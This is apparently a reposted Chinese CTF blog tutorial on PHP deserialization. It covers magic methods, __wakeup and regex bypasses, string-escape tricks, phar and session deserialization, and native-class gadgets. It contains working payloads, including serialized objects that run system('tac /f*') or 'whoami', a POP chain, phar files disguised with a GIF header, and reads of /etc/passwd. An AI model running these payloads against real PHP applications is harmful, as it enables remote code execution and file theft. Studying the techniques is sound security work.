技巧归纳 | 51分钟
PHP 反序列化总结
十一月 5, 2025
PHP 反序列化 总结

转载自好兄弟 dr0n 的文章:php反序列化总结

常见的魔术方法

php
 1__construct() 在创建对象时候初始化对象,一般用于对变量赋初值。
 2__destruct() 和构造函数相反,当对象所在函数调用完毕后执行。
 3__call() 当调用对象中不存在的方法会自动调用该方法。
 4__get() 获取对象不存在的属性时执行此函数。
 5__set() 设置对象不存在的属性时执行此函数。
 6__toString() 当对象被当做一个字符串使用时调用。
 7__sleep() 序列化对象之前就调用此方法(其返回需要一个数组)
 8__wakeup() 反序列化恢复对象之前调用该方法
 9__isset() 在不可访问的属性上调用isset()或empty()触发
10__unset() 在不可访问的属性上使用unset()时触发
11__invoke() 将对象当作函数来使用时执行此方法

__construct & __destruct

__construct:在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化 __destruct:和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

例子:

php
 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __construct($username,$password){
 7		echo "__construct\n";
 8        $this->username = $username;
 9        $this->password = $password;
10	}
11
12	function __destruct(){
13		echo "__destruct\n";
14	}
15}
16
17$a = new test('admin','admin888');
18unset($a);
19echo "abc\n";
20echo "--------------------\n";
21
22$a = new test('admin','admin888');
23echo "abc\n";

运行结果

php
1__construct
2__destruct
3abc
4--------------------
5__construct
6abc
7__destruct

__sleep & __wakeup

__sleep:序列化时自动调用 __wakeup:反序列化时自动调用

如果类中同时定义了 __unserialize()和__wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

同理,如果类中同时定义了 __serialize()和 __sleep() 两个魔术方法, 则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。

php
 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __construct($username,$password){
 7		echo "__construct\n";
 8        $this->username = $username;
 9        $this->password = $password;
10	}
11
12	function __sleep(){
13		echo "__sleep\n";
14		return [username,password]; //需要返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误
15	}
16
17	function __wakeup(){
18		echo "__wakeup\n";
19		$this->username = 'user';
20	}
21
22}
23
24$a = new test('admin','admin888');
25$data = serialize($a);
26echo $data."\n";
27echo "-----------------------------\n";
28var_dump(unserialize($data));

运行结果

php
 1__construct
 2__sleep
 3O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
 4-----------------------------
 5__wakeup
 6class test#2 (2) {
 7  public $username =>
 8  string(4) "user"
 9  public $password =>
10  string(8) "admin888"
11}

__call & __callstatic

__call:对象执行类不存在的方法时会自动调用__call方法 __callstatic:直接执行类不存在的方法时会自动调用__callstatic方法

php
 1<?php
 2class test{
 3	public $username;
 4	public $password;
 5
 6	function __call($method,$args){
 7		echo '不存在'.$method.'方法(__call)'.'<br>';
 8	}
 9
10		function __callstatic($method,$args){
11		echo '不存在'.$method.'方法(__callstatic)'.'<br>';
12	}
13}
14
15$a = new test();
16$a->lewiserii();
17test::lewiserii();

运行结果

php
1不存在lewiserii方法(__call)
2不存在lewiserii方法(__callstatic)

__get & __set

__get:对不可访问属性或不存在属性进行 访问引用时自动调用 __set:对不可访问属性或不存在属性进行 写入时自动调用

php
 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __get($name){
 7		echo "__get\n";
 8	}
 9
10	function __set($name,$value){
11		echo "__set\n";
12	}
13
14}
15
16$a = new test();
17$a->password;
18$a->password='123456';

运行结果

php
1__get
2__set

__isset & __unset

__isset:在不可访问的属性上使用inset()时触发 __unset:在不可访问的属性上使用unset()时触发

php
 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __isset($name){
 7		echo "__isset\n";
 8	}
 9	function __unset($name){
10		echo "__unset\n";
11	}
12}
13
14$a = new test();
15isset($a->password);
16unset($a->psd);

运行结果

php
1__isset
2__unset

__tostring

__toString():类的实例和字符串拼接或者作为字符串引用时会自动调用

php
 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __tostring(){
 7		return "tostring";
 8	}
 9
10}
11
12$a = new test();
13echo $a;

运行结果

php
1tostring

__invoke

__invoke():将对象当作函数来使用时调用此方法

php
 1<?php
 2class test{
 3	public $username='admin';
 4	private $password='admin888';
 5
 6	function __invoke(){
 7		echo "__invoke";
 8	}
 9
10}
11
12$a = new test();
13$a();

运行结果

php
1__invoke

反序列化绕过的几种方法

绕过__wakeup

CVE-2016-7124

利用条件: PHP5 < 5.6.25 PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例子:

php
 1<?php
 2class test{
 3    public $a='test';
 4
 5    public function __wakeup(){
 6        $this->a='aaa';
 7    }
 8
 9    public function  __destruct(){
10        echo $this->a;
11    }
12}
13
14//$v = new test();
15//echo serialize($v);
16//O:4:"test":1:{s:1:"a";s:4:"test";}test
17?>

当执行unserialize('O:4:"test":1:{s:1:"a";s:4:"test";}');时会返回aaa,在修改对象属性个数的值,执行unserialize('O:4:"test":2:{s:1:"a";s:4:"test";}');会返回test

利用反序列化字符串报错

利用一个包含__destruct方法的类触发魔术方法可绕过__wakeup方法

例子

php
 1<?php
 2
 3class D {
 4
 5    public function __get($name) {
 6        echo "D::__get($name)\n";
 7    }
 8    public function __destruct() {
 9        echo "D::__destruct\n";
10    }
11    public function __wakeup() {
12        echo "D::__wakeup\n";
13    }
14}
15
16class C {
17    public function __destruct() {
18        echo "C::__destruct\n";
19        $this->c->b;
20
21    }
22}
23
24
25unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

原本应该是O:1:"C":1:{s:1:"c";O:1:"D":0:{}} 调用顺序是

php
1D::__wakeup
2C::__destruct
3D::__get(b)
4D::__destruct

添加了一个;N;(反序列化末尾加上;任意字符;)的错误结构后调用顺序就变成了

php
1C::__destruct
2D::__get(b)
3D::__wakeup
4D::__destruct

来自Article_kelp师傅的原理解释,orz:

这里我也发现另一种方式: 不添加任意字符也可以做到,删除最后一个花括号也行的。比如原先是 O:1:"C":1:{s:1:"c";O:1:"D":0:{}},删去最后一个花括号:O:1:"C":1:{s:1:"c";O:1:"D":0:{},也能达到效果

使用C代替O

php
 1a - array
 2b - boolean
 3d - double
 4i - integer
 5o - common object
 6r - reference
 7s - string
 8C - custom object
 9O - class
10N - null
11R - pointer reference
12U - unicode string

例子

php
 1<?php
 2//https://3v4l.org/YAje0
 3//https://bugs.php.net/bug.php?id=81151
 4class E  {
 5    public function __construct(){
 6
 7    }
 8
 9    public function __destruct(){
10        echo "destruct";
11    }
12
13    public function __wakeup(){
14        echo "wake up";
15    }
16}
17
18var_dump(unserialize('C:1:"E":0:{}'));

比较鸡肋,只能执行construct()destruct()函数,无法添加任何内容

但是在特定的PHP版本下,可以使用一些内置类来重新包装实现绕过

php
1ArrayObject::unserialize
2ArrayIterator::unserialize
3RecursiveArrayIterator::unserialize
4SplDoublyLinkedList::unserialize
5SplQueue::unserialize
6SplStack::unserialize
7SplObjectStorage::unserialize

例如ctfshow的2023愚人杯[easy_php]

php
 1<?php
 2
 3class ctfshow {
 4    public $ctfshow;
 5
 6    public function __wakeup(){
 7        die("not allowed!");
 8    }
 9
10    public function __destruct(){
11        echo "OK";
12        system($this->ctfshow);
13    }
14
15
16}
17$a= new ctfshow();
18$a->ctfshow= "cat /f1agaaa";
19
20
21
22//$b=new SplObjectStorage();
23//$b->test=$a;
24//echo serialize($b);
25//C:16:"SplObjectStorage":77:{x:i:0;m:a:1:{s:4:"test";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}
26
27
28
29//$b=new ArrayObject($a);
30//echo serialize($b);
31//C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
32
33
34
35//$b=new ArrayIterator($a);
36//echo serialize($b);
37//C:13:"ArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
38
39
40
41
42//$b=new RecursiveArrayIterator($a);
43//echo serialize($b);
44//C:22:"RecursiveArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}
45
46
47
48//$b=new SplDoublyLinkedList();
49//$b->push($a);
50//echo serialize($b);
51//C:19:"SplDoublyLinkedList":57:{i:0;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}
52
53
54
55
56//$b=new SplQueue();
57//$b->push($a);
58//echo serialize($b);
59//C:8:"SplQueue":57:{i:4;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}
60
61
62
63//$b=new SplStack();
64//$b->push($a);
65//echo serialize($b);
66//C:8:"SplStack":57:{i:6;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}

不过有几个类在使用时要注意需要加入push方法

绕过正则

检测’O'

利用条件: preg_match(’/^O:\d+/i’,$data)

例题:

php
 1<?php
 2error_reporting(0);
 3highlight_file(__FILE__);
 4
 5class backdoor{
 6    public $name;
 7
 8    public function __destruct(){
 9        eval($this->name);
10    }
11}
12
13$data = $_POST['data'];
14
15if (preg_match('/^O:\d+/i',$data)){
16    die("object not allow unserialize");
17}

利用方式1:当在代码中使用类似preg_match('/^O:\d+/i',$data)的正则语句来匹配是否是对象字符串开头的时候,可以使用+绕过

O:8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";} O:+8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}

要注意在url里传参时+要编码为%2B

利用方式2:使用array()绕过

php
1<?php
2class backdoor{
3    public $name="system('tac /f*');";
4}
5
6$a = new backdoor();
7echo serialize(array($a));
8//a:1:{i:0;O:8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}}
9?>

检测’}'

有时候会遇到另一种正则,比如/\}$/,会匹配最后一个}

反序列化字符串末尾的}}}}是可以全部删掉的,没有影响

比如a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}}

变成a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";

甚至在末尾填充字符a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";aaaaaaaaaa

均能正常解析

检测数字

可以用字符id绕过

php
 1<?php
 2//https://3v4l.org/SJm2g
 3// echo serialize(0);
 4
 5echo unserialize('i:-1;');
 6echo "\n";
 7echo unserialize('i:+1;');
 8echo "\n";
 9echo unserialize('d:-1.1;');
10echo "\n";
11echo unserialize('d:+1.2;');

引用绕过

利用方式:当代码中存在类似$this->a===$this->b的比较时可以用&,使$a永远与$b相等

例子:

php
 1<?php
 2class test{
 3    public $a;
 4    public $b;
 5
 6    public function __construct(){
 7        $this->a = 'abc';
 8        $this->b = &$this->a;
 9    }
10    public function  __destruct(){
11        if($this->a===$this->b){
12            echo 666;
13        }
14    }
15}
16
17$a = serialize(new test());
18
19?>

$this->b = &$this->a;表示$b变量指向的地址永远指向$a变量指向的地址

16进制绕过

利用方式:当代码中存在关键词检测时,将表示字符类型的s改为大写来绕过检测

例子:

php
1<?php
2class test{
3    public $username='admin';
4    public $password='admin888';
5}
6echo serialize(new test());
7//O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
8?>

如果过滤了关键字admin,可以将其替换成O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}

表示字符类型的s为大写时,就会被当成16进制解析

字符逃逸

php
 1<?php
 2class test{
 3	public $a='aaa';
 4	public $b='bbb';
 5}
 6
 7$v = new test();
 8echo serialize($v);
 9//O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";s:3:"bbb";}
10?>

由于php在进行反序列化时,是从左到右读取,读取多少取决于s后面的字符长度,且认为读到}就结束了,}后面的字符不会有影响

一般触发字符逃逸的条件是替换函数str_replace,使字符串长度改变,造成字符逃逸,读取到不一样的数据

过滤后字符变多

php
 1<?php
 2class test{
 3	public $a='aaa';
 4	public $b='bbb';
 5}
 6
 7function filter($str){
 8    return str_replace("aaa","aaaa",$str);
 9}
10
11
12$v = new test();
13echo filter(serialize($v));
14//O:4:"test":2:{s:1:"a";s:3:"aaaa";s:1:"b";s:3:"bbb";}
15?>

可以发现结果中的aaa被替换成了aaaa,但是长度值没变,还是3,这就导致多出了一个a,而且值是可控的,我们可以将这部分值变为 很多aaa";s:1:"b";s:3:"qaq";}很多aaa的具体个数取决于后面想要构造的字符串的长度,这里是21位,就用21aaa,这样替换后会多出21个字符

php
 1<?php
 2class test{
 3	public $a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:3:"qaq";}';
 4	public $b='bbb';
 5}
 6
 7function filter($str){
 8    return str_replace("aaa","aaaa",$str);
 9}
10
11
12$v = new test();
13echo filter(serialize($v));
14//O:4:"test":2:{s:1:"a";s:84:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:3:"qaq";}";s:1:"b";s:3:"bbb";}
15?>

$b的值成功被修改成了qaq

过滤后字符变少

原理与过滤后字符变多大同小异,就是前面少了,导致后面的字符被吃掉,从而执行了我们后面的代码

php
 1<?php
 2class test{
 3	public $a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
 4	public $b='";s:1:"b";s:3:"abc";}';
 5}
 6
 7function filter($str){
 8    return str_replace("aaa","aa",$str);
 9}
10
11
12$v = new test();
13echo filter(serialize($v));
14
15//O:4:"test":2:{s:1:"a";s:48:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:21:"";s:1:"b";s:3:"abc";}";}
16?>

主要注意闭合就行了,与sql注入类似

类属性不敏感

对于PHP版本7.1+,对属性的类型不敏感

php
 1<?php
 2
 3class test {
 4	private $hello="private";
 5
 6	function __destruct(){
 7		var_dump($this->hello);
 8	}
 9}
10unserialize('O:4:"test":1:{s:5:"hello";s:6:"public";}');
11//string(6) "public"

public时得到的序列化字符串,在priviate或者protected修饰的时候反序列化,hello属性都能获得值

类名和方法名不区分大小写

text
1PHP特性:
2变量名区分大小写
3常量名区分大小写
4数组索引 (键名) 区分大小写
5函数名, 方法名, 类名不区分大小写
6魔术常量不区分大小写 (以双下划线开头和结尾的常量)
7NULL TRUE FALSE 不区分大小写
8强制类型转换不区分大小写 (在变量前面加上 (type))

常见用来绕过正则

如ctfshow的一道题目

php
 1<?php
 2
 3/*
 4# -*- coding: utf-8 -*-
 5# @Author: h1xa
 6# @Date:   2020-12-04 23:52:24
 7# @Last Modified by:   h1xa
 8# @Last Modified time: 2020-12-05 00:17:08
 9# @email: h1xa@ctfer.com
10# @link: https://ctfer.com
11
12*/
13
14highlight_file(__FILE__);
15
16include('flag.php');
17$cs = file_get_contents('php://input');
18
19
20class ctfshow{
21    public $username='xxxxxx';
22    public $password='xxxxxx';
23    public function __construct($u,$p){
24        $this->username=$u;
25        $this->password=$p;
26    }
27    public function login(){
28        return $this->username===$this->password;
29    }
30    public function __toString(){
31        return $this->username;
32    }
33    public function __destruct(){
34        global $flag;
35        echo $flag;
36    }
37}
38$ctfshowo=@unserialize($cs);
39if(preg_match('/ctfshow/', $cs)){
40    throw new Exception("Error $ctfshowo",1);
41}

fast destruct

通常发序列化的入口在__destruct()方法,如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。

例如这样一道题目

php
 1<?php
 2class Test
 3{
 4    public $args;
 5
 6    public function __destruct()
 7    {
 8        system($this->args);
 9    }
10}
11$a = @unserialize($_GET['args']);
12throw new Exception("NoNoNo");

反序列化操作执行之后并没有立即执行__destruct()方法中的内容,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。

正常情况下的序列化字符串应该是:

O:4:"Test":1:{s:4:"args";s:6:"whoami";}

payload:

php
1//去掉一个大括号
2O:4:"Test":1:{s:4:"args";s:6:"whoami";
3
4//结尾加入多余数据
5O:4:"Test":1:{s:4:"args";s:6:"whoami";123a}

serialize(unserialize($x)) != $x

正常来说一个合法的反序列化字符串,在反序列化之后再次序列化所得到的结果应是一致的

虽然在例子中没有AAA这个类,但是在反序列化 序列化过后得到的值依然为原来的值

var_dump的结果:

php
 1//class AAA{
 2//    public $a = '1';
 3//    public $b = '2';
 4//}
 5//$raw = 'O:3:"AAA":2:{s:1:"a";s:1:"1";s:1:"b";s:1:"2";}';
 6//echo var_dump(unserialize($raw));
 7object(AAA)#1 (2) {
 8  ["a"]=>
 9  string(1) "1"
10  ["b"]=>
11  string(1) "2"
12}
php
 1//$raw = 'O:3:"AAA":2:{s:1:"a";s:1:"1";s:1:"b";s:1:"2";}';
 2//echo var_dump(unserialize($raw));
 3object(__PHP_Incomplete_Class)#1 (3) {
 4  ["__PHP_Incomplete_Class_Name"]=>
 5  string(3) "AAA"
 6  ["a"]=>
 7  string(1) "1"
 8  ["b"]=>
 9  string(1) "2"
10}

var_dump后可以发现以下差异

text
11:所属类名称
2对象所属类的名称由 AAA 变为了 __PHP__Incomplete_Class
3
42:__PHP_Incomplete_Class_Name 属性
5__PHP_Incomplete_Class 对象中多包含了一个 __PHP_Incomplete_Class_Name 属性

所以PHP在遇到不存在的类时,会把不存在的类转换成 __PHP_Incomplete_Class 这种特殊的类,并且将原始的类名存放在 __PHP_Incomplete_Class_Name 这个属性中。而 serialize() 在处理的时候会倒推回来,发现对象是 __PHP_Incomplete_Class 后,会序列化成 __PHP_Incomplete_Class_Name 的值为类名的类,同时将 __PHP_Incomplete_Class_Name 删除(属性个数减一)

所以可以手动构造一个包含__PHP__Incomplete_Class的序列化字符串,因为是我们手动构造的,所以__PHP_Incomplete_Class_Name值为空,serialize找不到后会跳过,但是属性个数减一的步骤不会跳过,所以构成了serialize(unserialize($x)) != $x

注意:若 __PHP_Incomplete_Class 对象中的属性个数为零,则 __PHP_Incomplete_Class 的序列化结果中的属性个数描述值也将为零

phar反序列化

众所周知,在利用反序列化漏洞的时候,一般是将序列化后的字符串传入unserialize()来利用。但是通过phar可以不依赖unserialize()直接进行反序列化操作

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。在PHP 5.3或更高版本中默认开启

phar结构由4部分组成

一:stub

stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。类似于Phar的文件头

二:manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里就是漏洞利用的关键点

三:contents

被压缩文件的内容

四:signature

签名,放在文件末尾

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

一个最基本的例子

php
 1<?php
 2class Test {
 3}
 4
 5$a = new Test();
 6
 7$phar = new Phar("test.phar");   //后缀名必须为phar
 8$phar->startBuffering();  //开始缓冲Phar写操作
 9$phar->setStub("<?php __HALT_COMPILER(); ?>");   //设置stub
10$phar->setMetadata($a);  //将自定义的meta-data存入manifest
11$phar->addFromString("test.txt", "test"); //添加要压缩的文件
12//签名自动计算
13$phar->stopBuffering(); //停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
14?>

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 受影响的函数如下

php
 1fileatime
 2filectime
 3file_exists
 4file_get_contents
 5file_put_contents
 6file
 7filegroup
 8fopen
 9fileinode
10filemtime
11fileowner
12fileperms
13is_dir
14is_executable
15is_file
16is_link
17is_readable
18is_writable
19is_writeable
20parse_ini_file
21copy
22unlink
23stat
24readfile

当我们修改文件的内容时,签名就会变得无效,这个时候需要重新计算签名

python
1from hashlib import sha1
2with open('test.phar', 'rb') as file:
3    f = file.read()
4s = f[:-28] # 获取要签名的数据
5h = f[-8:] # 获取签名类型和GBMB标识
6newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
7with open('newtest.phar', 'wb') as file:
8    file.write(newf) # 写入新文件

phar绕过上传限制

php
 1<?php
 2class Test {
 3}
 4
 5$a = new Test();
 6
 7$phar = new Phar("test.phar");
 8$phar->startBuffering();
 9$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //添加任意的文件头
10$phar->setMetadata($a);
11$phar->addFromString("test.txt", "test");
12$phar->stopBuffering();
13?>

绕过头部phar://

如果题目限制了phar://不能出现在头几个字符,可以用Bzip/Gzip协议绕过

例如

php
1if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
2    die();
3}
php
1php://filter/read=convert.base64-encode/resource=phar://test.phar
2//即使用filter伪协议来进行绕过
3
4compress.bzip2://phar:///test.phar/test.txt
5//使用bzip2协议来进行绕过
6
7compress.zlib://phar:///home/sx/test.phar/test.txt
8//使用zlib协议进行绕过

绕过__HALT_COMPILER检测

在前面介绍stub时提到过,PHP通过__HALT_COMPILER来识别Phar文件,那么为了防止Phar反序列化的出现,可能就会对这个进行过滤

例如

php
1if (preg_match("/HALT_COMPILER/i",$Phar){
2    die();
3}

绕过方法一:

将Phar文件的内容写到压缩包注释中,压缩为zip文件

php
1<?php
2$a = serialize($a);
3$zip = new ZipArchive();
4$res = $zip->open('phar.zip',ZipArchive::CREATE);
5$zip->addFromString('flag.txt', 'flag is here');
6$zip->setArchiveComment($a);
7$zip->close();
8?>

绕过方法二:

将生成的Phar文件进行gzip压缩,压缩后同样也可以进行反序列化

bash
1gzip test.phar

session反序列化

什么是session这里就不描述了,网上有很多文章可以参考

先了解下PHP session不同引擎的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的

session.serialize_handler定义的引擎共有三种:

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组

phpphp_serialize这两个处理区混合起来使用,就会出现session反序列化漏洞。原因是php_serialize存储的反序列化字符可以引用|,如果这时候使用php处理器的格式取出$_SESSION的值,|会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞

$_SESSION变量可控

例子

php
 1//1.php
 2<?php
 3error_reporting(0);
 4ini_set('session.serialize_handler','php_serialize');
 5session_start();
 6$_SESSION['session'] = $_GET['session'];
 7var_dump($_SESSION);
 8
 9
10//2.php
11<?php
12error_reporting(0);
13ini_set('session.serialize_handler','php');
14session_start();
15class test{
16	public $name;
17	function __wakeup(){
18		echo $this->name;
19	}
20}

先在1.php传入?session=lewiserii

session的内容,因为1.php页面用的是php_serialize引擎,所以是序列化处理的数组的形式

而2.php用的是php引擎,在可控点传入|+序列化字符串,然后再次访问2.php调用session值的时候会触发

传入?session=|O:4:"test":1:{s:4:"name";s:9:"lewiserii";}后,文件中的值就变成了下图中的值

再次访问2.php,发现成功反序列化,修改了$name

总结:由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|‘后的值进行反序列化处理。

$_SESSION变量不可控

$_SESSION不能直接控制时,可以借助PHP_SESSION_UPLOAD_PROGRESS来完成反序列化

关于PHP_SESSION_UPLOAD_PROGRESS的介绍可以参考我的另一篇文章session.upload_progress文件包含

这里用ctfshow的一道新春题的前半部分作例子

php
 1<?php
 2include("class.php");
 3error_reporting(0);
 4highlight_file(__FILE__);
 5ini_set("session.serialize_handler", "php");
 6session_start();
 7
 8if (isset($_GET['phpinfo']))
 9{
10    phpinfo();
11}
12if (isset($_GET['source']))
13{
14    highlight_file("class.php");
15}
16
17$happy=new Happy();
18$happy();
19?>

class.php

php
 1<?php
 2    class Happy {
 3        public $happy;
 4        function __construct(){
 5                $this->happy="Happy_New_Year!!!";
 6
 7        }
 8        function __destruct(){
 9                $this->happy->happy;
10
11        }
12        public function __call($funName, $arguments){
13                die($this->happy->$funName);
14        }
15
16        public function __set($key,$value)
17        {
18            $this->happy->$key = $value;
19        }
20        public function __invoke()
21        {
22            echo $this->happy;
23        }
24
25
26    }
27
28    class _New_{
29        public $daniu;
30        public $robot;
31        public $notrobot;
32        private $_New_;
33        function __construct(){
34                $this->daniu="I'm daniu.";
35                $this->robot="I'm robot.";
36                $this->notrobot="I'm not a robot.";
37
38        }
39        public function __call($funName, $arguments){
40                echo $this->daniu.$funName."not exists!!!";
41        }
42
43        public function __invoke()
44        {
45            echo $this->daniu;
46            $this->daniu=$this->robot;
47            echo $this->daniu;
48        }
49        public function __toString()
50        {
51            $robot=$this->robot;
52            $this->daniu->$robot=$this->notrobot;
53            return (string)$this->daniu;
54
55        }
56        public function __get($key){
57               echo $this->daniu.$key."not exists!!!";
58        }
59
60 }
61    class Year{
62        public $zodiac;
63         public function __invoke()
64        {
65            echo "happy ".$this->zodiac." year!";
66
67        }
68         function __construct(){
69                $this->zodiac="Hu";
70        }
71        public function __toString()
72        {
73                $this->show();
74
75        }
76        public function __set($key,$value)#3
77        {
78            $this->$key = $value;
79        }
80
81        public function show(){
82            die(file_get_contents($this->zodiac));
83        }
84        public function __wakeup()
85        {
86            $this->zodiac = 'hu';
87        }
88
89    }
90?>

先构造pop链 O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";}s:5:"robot";N;s:8:"notrobot";N;}}

看下phpinfo中关于session的信息,可以知道当前index.php用的是php引擎,其他页面默认用php_serialize引擎,且session.upload_progress.cleanup=Off,意味着php不会立即清空对应的session文件,就不用进行条件竞争

构造POST表单,提交传入序列化字符串

html
1<form action="http://dece2f58-5f4b-4bd0-904a-ac58efcf9623.challenges.ctfer.com:8080/" method="POST" enctype="multipart/form-data">
2    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="lewiserii" />
3    <input type="file" name="file" />
4    <input type="submit" />
5</form>

因为要放到filename中的双引号中,所以这里要转义一下双引号,在拼接上|,注意一定要带上PHPSESSID

伪造PHP_SESSION_UPLOAD_PROGRESS的值时,值中一旦出现|,将会导致数据写入session文件失败,所以用filename

php原生类反序列化

如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化

原生文件操作类

可遍历目录类:

php
1DirectoryIterator 
2FilesystemIterator 
3GlobIterator 

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

GlobIterator 类与前两个类的作用与使用方法相似,但与上面略不同的是其行为类似于glob(),可以通过模式匹配来寻找文件路径。

php
 1$dir=new DirectoryIterator("/");
 2echo $dir;
 3
 4$dir=new FilesystemIterator("/");
 5echo $dir;
 6
 7//也可以与glob://协议配合使用来查找文件
 8$dir=new DirectoryIterator("glob:///*flag*");
 9echo $dir;
10
11$dir=new FilesystemIterator("glob:///*flag*");
12echo $dir;
13
14//GlobIterator无需借助glob协议即可搜索全局文件
15$dir=new GlobIterator("/*flag*");
16echo $dir;

可读取文件类

php
1SplFileObject 

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

php
 1//读取一个文件的一行
 2$context = new SplFileObject('/etc/passwd');
 3echo $context;
 4
 5//读取多行需要遍历或者使用伪协议
 6$context = new SplFileObject('/etc/passwd');
 7foreach($context as $f){
 8    echo($f);
 9}
10
11$context = new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd');
12echo $context;

SoapClient反序列化与ssrf

首先需要了解什么是soap soap,是webService三要素(SOAP、WSDL、UDDI)之一

text
1SOAP: 基于HTTP协议,采用XML格式,用来描述传递信息的格式。
2
3WSDL: 用来描述如何访问具体的服务。(相当于说明书)
4
5UDDI: 用户自己可以按UDDI标准搭建UDDI服务器,用来管理,分发,查询WebService 。其他用户可以自己注册发布WebService调用。(现在基本废弃)

简单来说就是soap是一种基于http的传输协议,可以发起请求来访问远程服务

php官方手册中对soapclient的解释如下

php
 1class SoapClient {
 2/* 属性 */
 3private ?string $uri = null;
 4private ?int $style = null;
 5private ?int $use = null;
 6private ?string $location = null;
 7private bool $trace = false;
 8private ?int $compression = null;
 9private ?resource $sdl = null;
10private ?resource $typemap = null;
11private ?resource $httpsocket = null;
12private ?resource $httpurl = null;
13private ?string $_login = null;
14private ?string $_password = null;
15private bool $_use_digest = false;
16private ?string $_digest = null;
17private ?string $_proxy_host = null;
18private ?int $_proxy_port = null;
19private ?string $_proxy_login = null;
20private ?string $_proxy_password = null;
21private bool $_exceptions = true;
22private ?string $_encoding = null;
23private ?array $_classmap = null;
24private ?int $_features = null;
25private int $_connection_timeout;
26private ?resource $_stream_context = null;
27private ?string $_user_agent = null;
28private bool $_keep_alive = true;
29private ?int $_ssl_method = null;
30private int $_soap_version;
31private ?int $_use_proxy = null;
32private array $_cookies = [];
33private ?array $__default_headers = null;
34private ?SoapFault $__soap_fault = null;
35private ?string $__last_request = null;
36private ?string $__last_response = null;
37private ?string $__last_request_headers = null;
38private ?string $__last_response_headers = null;
